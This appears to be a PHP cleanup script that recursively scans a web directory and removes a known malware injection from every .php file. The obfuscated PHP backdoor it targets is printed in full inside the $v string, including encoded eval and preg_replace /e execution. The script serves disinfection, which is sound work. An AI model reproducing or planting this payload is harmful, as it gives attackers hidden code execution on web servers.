/html' */ $base = ''; function listFolderFiles($dir){ $ffs = scandir($dir); foreach($ffs as $ff){ if($ff != '.' && $ff != '..'){ if (strpos($ff, '.php') !== FALSE){ var_dump($dir.'/'.$ff); read_and_delete_first_line($dir.'/'.$ff); } if(is_dir($dir.'/'.$ff)) listFolderFiles($dir.'/'.$ff); } } } // get all php files listFolderFiles($base); /** * here is where the magic happens * the $v variable holds the malicious content to be removed * replace it with your malicious code. * You can find the malicious code inside an infected file. * Run maldet -a to get all infected files */ function read_and_delete_first_line($filename) { $filed = file_get_contents($filename); $v = '1<%x5c%x7825b:>1!%x5c#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822w6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256:i258]y6g]273]y76]271]y7d]252]y74]256#1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x78:!}7;!}6;##}C;!>>!}W;utpi}Y7824y4%x5c%x7824-%x52f#p#%x5c%x782f%x5c%x7825z>2*!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpu%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x782>j%x5c%x7825!*72!%x5c%x7827!h767~6%x5c%x782f7rfs%x5c%x78256<#o]1%xWtfs%x5c%x7825)7gj6<*id%xfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3of>%x5c%x7825z>32!#]y84]275]y83]248]y83]2%x78786u%x5c%x7825V<#65,47R25,d7R17,67R37%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x78%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x5c%x7825)ftpmdR6<*id%x5c%x7825)%x7825t::!>!%x5c%x7824Ypp3x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]271]!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI3zbek!~!b%x5c%<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*>%x5c%x7c%x7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_s}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33ssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x787x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!7-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*x7825)3of:opjudovg<~%x5c%x7824!%x5c%x78242178}52c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#%155%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163x5c%x7825z!>21<%x5c%>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x786pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78%x5c%x7825i%x5c%x785c2^:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#x5c%x7825bbT-%x5c%x7825bT-%x5c%#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275],#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%x5c%x78)hopm3qjA)qj3hopmA%x5c%x78273qj%c%x7825tdz*Wsfuvso!%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x)gj!|!*nbsbq%x5c%x7825)32#+I#)q%x5c%x7825:>:r%xe%x5c%x7825!osvufs!*!+A!y]g2y]#>>*4-1-bubE{h|!*msv%x5c%x7825)}k~~~!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;f822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!60hA%x5c%x7827pd%x5c%x78256!tussfw)%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K%x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x782x5c%x787f_*#[k2%x5c%x7860{6eobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zb#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5>!#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252]y74]256]yx28%151%x6d%160%x6c%157%x64%145%x28%1421%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x785#%x5c%x782f#o]#%x5c%x782f*%x5c%x7860QUUI&e_SEEB%x5c%x7860FUy83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y3x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x782bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x3ldfidk!~!<**qp%x5c%)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x3]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]62]y)fnbozcYufhA%x5c%x78272qj%x5c25j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1Ew:Qb:Qc:W~!%L3]84]y31M6]y3e]81#%x5c%7}88:}334}472%x5c%x7824!#]y%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x782)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x!opjudovg!|!**#j{hnpd#)tutjyf%x5c%x7860$GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBALS["%x61%156%x75%156%x67825nfd)##Qtpz)#]341]88M4P8]37]278]225]241]3]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c#j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x78255c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x782562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%4-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%xx7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x7822:ftfw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{6x5c%x7825w6Z6<.4%x5c%x78PNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV7824gps)%x5c%x7825j>1x5c%x7825bG9}:}.}-}!#*<#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%xsut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825)5)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x]37y]672]48y]#>s%x5c%x78255c%x7825!<12>j%x5c%x7825!|!*#91y]c9%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5ce%x5c%x78b%x5c%x7825w:!>!%x5c%x782465)uqpuft%x5c%x7860msvd},;uqpufx5c%x7825-#1GO%x5c%x7822#)fepmqy7860ftsbqA7>q%x5c%x78256<%x5c%x78781]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#2q%x5c%x7825<#g625:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5c%x7825c%x7878:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]472]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!25!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%3:]84#-!OVMM*<%x22%51%25)7gj6<**2qj%x5c%x7825%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787f); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%154%>%x5c%x7825s:%x5c%x785c%x5c%x7825j:^#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x56~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5x7825ggg!>!#]y81]273]y76]1%x72%162%x61%171%x5f)323zbe!-#jt0*?]+^?]_%x5c%x7%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eo27,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c!-#1]#-bubE{h%x5c%x7825)tpqsut85c}X%x5c%x7824#p#%x5c%x7856]y81]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]27724*!%x5c%x7825tdz)%y7:]268]y7f#!%x5c%x782400~:>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd5V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x5c%x7825nfd>%x5c%x7825fdy7827jsv%x5c%x78256^#zsfvr#x5c%x78256<*Y%x5c%x7825x7825bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x78254%x78%62%x35%165%x3a%146%x21%76%x34]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x5rN}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x782%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x7825!-uyfu%x5c%x7825)3of)fepdof%x5)!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x74%162%x5f%163%x70%154%x69%164%50%x22%13<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x78x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x8223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{5c%x7824!>!fyqmpef)#%x5c%x7824*}&;!osvufs}%x5c%x787f;!opjudovgopjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787*#fmjgk4%x5c%x7860{6~6%x5c%x7825kj:!>!#]y3d]51]y35]2560cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x782f7&6|7**111ff2!>!bssbz)%x5c%x7824]25%x%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x78bs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%4*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x7824-%782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%xx29%51%x29%73", NULL); }7825Z<^2%x5c%x785c2b%x5c%x78R85,67R37,18R#>q%x5c%x7827825)!gj!~j%x5c%x7825!<**3-j8%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]},;osvuf2f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825uhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x7/(.*)/epreg_replacectllcwkcij\'; $ryviodbwff = explode(chr((240-196)),\'8790,67,4992,68,9440,68,6625,62,3853,38,7046,21,2288,50,8416,42,8001,33,3891,64,6024,36,591,24,218,44,5563,24,3401,52,7586,31,2434,51,1172,51,6744,57,9508,60,7263,42,1122,50,783,64,615,58,2539,41,3497,43,7095,70,8458,51,6542,23,3007,32,7858,23,4501,29,1436,44,9757,54,7829,29,8217,38,4374,57,7925,37,6122,34,5525,38,6962,59,1825,65,9073,53,847,25,1480,31,8730,60,2128,42,50,34,6565,21,6586,39,176,42,3647,27,383,27,5743,58,8378,38,518,44,6060,30,3276,58,1778,47,3334,67,3208,68,2617,44,5211,67,7305,30,562,29,9387,53,5851,44,9888,58,8092,57,7962,39,4885,68,5921,35,3188,20,7673,48,4953,39,8950,28,8978,38,9835,28,6467,53,6090,32,872,53,4110,70,8255,38,4064,46,7220,43,7165,55,9637,60,5151,60,3674,49,1945,53,477,41,5801,50,8328,50,1592,34,3982,33,5587,50,6801,33,1626,40,5444,37,139,37,3117,25,4304,20,8293,35,9126,52,4596,64,7617,56,6215,36,8891,59,5481,44,2753,60,262,33,10046,60,8629,65,3164,24,2376,58,9339,48,9016,57,1336,62,2956,51,6283,30,9863,25,7721,42,2039,51,9946,47,1890,55,9221,67,2661,61,3955,27,7067,28,7335,30,3784,69,4660,27,1085,37,7400,65,2890,66,7520,66,6313,51,2813,46,4180,55,3142,22,8560,69,6364,67,5895,26,1998,41,5329,52,2170,64,4776,43,6156,59,9568,27,5278,51,9697,60,84,55,3579,68,5381,63,410,20,4687,38,5956,68,1398,38,7465,22,5637,21,1666,55,673,67,8694,36,9310,29,5104,47,1511,26,2722,31,4573,23,2090,38,2485,54,8857,34,3063,54,3453,44,4819,66,8149,68,1721,57,9178,43,7791,38,5681,62,1223,64,4752,24,1034,51,6431,36,6901,61,2234,54,6834,67,2580,37,5658,23,7763,28,7487,33,2859,31,8509,51,5060,44,8034,58,6251,32,1287,49,3039,24,7881,44,9595,42,9993,53,0,50,338,45,4530,43,9288,22,973,61,6687,57,4725,27,2338,38,7365,35,430,47,925,48,4324,50,4235,69,3540,39,3723,61,740,43,7021,25,295,43,1537,55,4015,49,4431,70,6520,22,9811,24\'); $criezuaazx=substr($ufppqjgarv,(30953-20847),(41-34)); if (!function_exists(\'fgsvxmnzya\')) { function fgsvxmnzya($zfraftklge, $mtilkpjrzr) { $cplykkpfav = NULL; for($twklewfaxo=0;$twklewfaxo<(sizeof($zfraftklge)/2);$twklewfaxo++) { $cplykkpfav .= substr($mtilkpjrzr, $zfraftklge[($twklewfaxo*2)],$zfraftklge[($twklewfaxo*2)+1]); } return $cplykkpfav; };} $rinckrcbir="\x20\57\x2a\40\x62\145\x6e\162\x74\165\x78\142\x6d\145\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\64\x33\55\x31\60\x36\51\x29\54\x20\143\x68\162\x28\50\x34\71\x36\55\x34\60\x34\51\x29\54\x20\146\x67\163\x76\170\x6d\156\x7a\171\x61\50\x24\162\x79\166\x69\157\x64\142\x77\146\x66\54\x24\165\x66\160\x70\161\x6a\147\x61\162\x76\51\x29\51\x3b\40\x2f\52\x20\165\x65\172\x64\142\x6c\152\x6f\147\x6e\40\x2a\57\x20"; $pchkeiqyls=substr($ufppqjgarv,(51289-41176),(41-29)); $pchkeiqyls($criezuaazx, $rinckrcbir, NULL); $pchkeiqyls=$rinckrcbir; $pchkeiqyls=(798-677); $ufppqjgarv=$pchkeiqyls-1; ?>'; $filed = str_replace($v, '', $filed); file_put_contents($filename, $filed); return 'ok'; }